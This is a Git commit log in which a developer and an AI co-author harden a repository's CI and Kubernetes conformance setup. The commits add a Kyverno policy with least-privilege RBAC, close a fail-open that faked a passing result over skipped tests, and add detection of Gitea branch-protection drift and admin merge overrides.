Adds:
  * SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
    pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
    failed run), no exec, no secrets. Results come back as a tarball on stdout read via
    pods/log, so no execution channel into the runner pod is ever granted.
  * ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
    use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
    is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
    the rest of the cluster.
  * Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
    like apps-vms, so a test identity can never stall the platform or app tiers.
  * A kyverno test with seven cases, six of them real escalation paths.

VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
  evil-command    DENIED at /spec/template/spec/containers/0/command/   <- THE attack
  evil-image      DENIED at .../image/
  tag-not-digest  DENIED at .../image/          (mutable tag is republishable)
  host-namespaces DENIED at /spec/template/spec/hostPID/
  extra-volume    DENIED by the volumes foreach
  injected-args   DENIED by the args foreach
  good-run        ADMITTED

ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.

IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
digest when the image is built; it is a one-line change to the pattern, reviewed in a PR,
which is where a change to a security boundary belongs.

NOT YET WIRED, deliberately: no runner image, no trigger kubeconfig, no CLUSTER_AVAILABLE.
The identities here are inert until those exist, and PR #12 makes CLUSTER_AVAILABLE=true
block rather than fake a green in the meantime.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 03:22:41 -05:00
jakman85 4634b44cc7 Merge pull request 'feat(ci): detect Gitea settings drift' (#11) from feat/gitea-settings-drift-check into main
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Reviewed-on: #11
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 07:59:29 +00:00
jakman85andClaude Opus 5 6586919132 fix(ci): CLUSTER_AVAILABLE=true would have FAKED A GREEN over 54 skipped tests
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Wiring L2/L3 into CI was a tracked next step, described in the plan as needing only
vars.CLUSTER_AVAILABLE. Attempting it surfaced that the variable does not enable L2/L3 at
all -- it only changes which way the stage fails, and before this commit one of those ways
was a false pass.

MEASURED, before the guard:
  CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
  "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
  "[ ok ] L2/L3 conformance passed for touched subset"

run.sh exits 0 in scaffold mode when it cannot reach a cluster, marking every test
<skipped>. That is correct and honest FOR run.sh. It is catastrophic in ci/conformance.sh,
which reaches that code only because the environment DECLARED a cluster available -- so it
reported a pass over 54 tests that never executed. One Gitea variable away from a fake green
on a gate that is now an ENFORCING required status check, and nothing caught it because
nobody had ever set the variable.

The CI runner holds no cluster credential by design (automountServiceAccountToken: false),
so the local run this stage attempts can never succeed. The in-cluster trigger path that
would make L2/L3 actually run is still unimplemented, and is blocked on a privilege-
escalation design decision that is the operator's to make (plan section 4: any principal
that can `create jobs` in ns conformance can run arbitrary code as the privileged
conformance-runner SA, because Kubernetes places no `use` check on serviceAccountName).

The stage now BLOCKS (exit 1) when a cluster is declared but every test skipped, which is
what the merge-gate decision matrix already said should happen ("conformance skipped while
CLUSTER_AVAILABLE=true -> BLOCK"). Verified: rc=1, naming the count and the reason.

The plan document claimed CLUSTER_AVAILABLE was "the only remaining gate". Corrected in
place with the measurement and an explicit do-not-set-this-yet.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:58:26 -05:00
jakman85andClaude Opus 5 e6f6e4febb feat(ci): detect Gitea settings drift -- the blind spot that hid a month of outage
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Every check in this repo reads the repository, the rendered manifests, or the cluster.
NONE could see Gitea's own database, and that is where branch protection and runner
registration live. Three failures came out of that blind spot on 2026-09-29, all the same
shape -- a setting that READ as enforced while not being, with nothing able to notice:

  * main had NO branch protection for ~a month while DECISIONS-LOG recorded it as a
    required status check;
  * ZERO Actions runners were registered, so PR #1 -- the first PR this repo ever had --
    sat pending for 30.6 minutes with nothing to execute it;
  * after enable_status_check and required_approvals were turned on they STILL did not
    bite, because block_admin_merge_override was false: PRs #5-#9 merged with zero
    approvals recorded against required_approvals: 1.

infra/gitea/*.sh ASSERT the desired state. Nothing DETECTED drift from it. This is the
detector.

ci/gitea-settings.sh runs as a merge-gate stage: it diffs the live rule at
/branch_protections/main against infra/gitea/expected-branch-protection.json and asserts at
least one runner is online. It reads the RULE object, not /branches/main -- the branch view
does not expose block_admin_merge_override and showed all-green while the rule was
overridable by the only account that merges.

Verified by test, not assumed:
  no token            -> exit 3, skips loudly, does NOT block
  live == declaration -> exit 0
  injected drift      -> exit 1, blocks, naming both the drifted key and the runner count

The skip is DELIBERATELY not in gate.sh's strict-skips loop. Making an absent credential
block every PR is precisely the lock-yourself-out failure this repo keeps walking into, so
a skip denies a PASS (exit 3) and says loudly what is unverified. REQUIRE_GITEA_SETTINGS=true
upgrades it to a block once the token is wired.

gate.yml's `|| [ "$?" -eq 3 ]` tolerance now covers a second stage. That widening is
declared in the file rather than left to be discovered, and it narrows back the moment
REQUIRE_GITEA_SETTINGS is set.

infra/gitea/set-ci-token.sh mints the token and stores it as the repo Actions secret without
ever printing the value.

UNTIL THAT TOKEN EXISTS THIS STAGE SKIPS, AND A SKIPPED DETECTOR DETECTS NOTHING.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:52:28 -05:00
jakman85 e8e6b9c681 Merge pull request 'fix(gitea): admins could override the gate' (#10) from fix/gitea-admins-could-override-the-gate into main
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Reviewed-on: #10
Reviewed-by: Keith Jackson <[email protected]>
2026-09-29 07:43:52 +00:00
jakman85andClaude Opus 5 fcc66c7858 fix(gitea): admins could override the gate -- the enforcement was not enforcing
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enable_status_check and required_approvals were set earlier today and recorded as done.
They did not bite. block_admin_merge_override was false, and Gitea lets repo admins
override merge requirements without it. jakman85 holds owner, so both requirements were
bypassable by exactly the account that performs every merge.

The evidence was already on the record: PRs #5-#9 all merged while required_approvals: 1
was in force, with ZERO approvals recorded on any of them.

Two process failures, both the same shape as the defect this whole session started with:

1. Verified with the wrong view. /branches/main reports protected, enable_status_check and
   required_approvals but NOT block_admin_merge_override -- it showed everything green while
   the rule was overridable. /branch_protections/main is authoritative.
2. Probed for a field name assumed to exist. This Gitea (1.24.3) has no `apply_to_admins`;
   asking jq for it returns null, which reads like "set to false" but means "key absent", so
   a PATCH that silently did nothing produced a convincing before/after. jq returning null
   is not a value -- it may be an absence. Enumerate with to_entries.

require-gate.sh now sets block_admin_merge_override: true; block-admin-override.sh fixes it
in isolation. Both carry the field-name warning.

This PR is the test. If it merges WITHOUT an approval, the fix did not work.

Also records the governance question: with only jakman85 (human) and gitea-admin (agent),
a human-authored PR now needs the automation account to approve it. That is ceremony, not
review, and the choice between keeping it, dropping approvals in favour of the status
check, or adding a second human is the operator's to make.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-29 02:36:38 -05:00